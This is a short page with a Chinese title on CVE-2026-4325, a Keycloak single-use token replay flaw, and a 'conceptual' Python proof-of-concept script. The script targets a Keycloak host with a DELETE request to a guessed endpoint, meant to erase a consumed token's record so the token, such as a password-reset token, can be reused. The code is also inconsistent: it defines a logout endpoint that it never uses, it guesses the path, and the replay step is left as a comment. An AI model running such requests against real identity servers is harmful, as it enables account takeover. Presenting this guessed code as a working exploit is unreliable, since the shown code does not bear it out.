CVE-2026-4325 Keycloak单次使用令牌重放漏洞

import requests # Conceptual PoC for CVE-2026-4325 # Demonstrates the deletion of a SingleUseObject entry to allow token replay. target_host = "http://target-keycloak" # The specific endpoint for SingleUseObjectProvider manipulation may vary by version. # This assumes an endpoint where the ID can be targeted due to lack of namespace isolation. vulnerable_endpoint = f"{target_host}/auth/realms/master/protocol/openid-connect/logout" # Example ID of a single-use token (e.g. password reset token) that has already been consumed token_id = "5f8a2b1c-..." headers = { "User-Agent": "PoC-Scanner/1.0", "Accept": "application/json" } try: print(f"[*] Attempting to delete consumed token entry: {token_id}") # In a real exploit, the attacker crafts a request that triggers the deletion # of the entry in the SingleUseObjectProvider key-value store. # This request structure is illustrative based on the vulnerability description. response = requests.delete(f"{target_host}/realms/master/single-use-objects/{token_id}", headers=headers) if response.status_code == 204: print("[+] Entry deleted successfully. Token replay may now be possible.") print("[+] Attempting to replay the token...") # Replay logic would go here (e.g., using the token to reset password) else: print(f"[-] Deletion failed. Status: {response.status_code}") except Exception as e: print(f"Error occurred: {e}")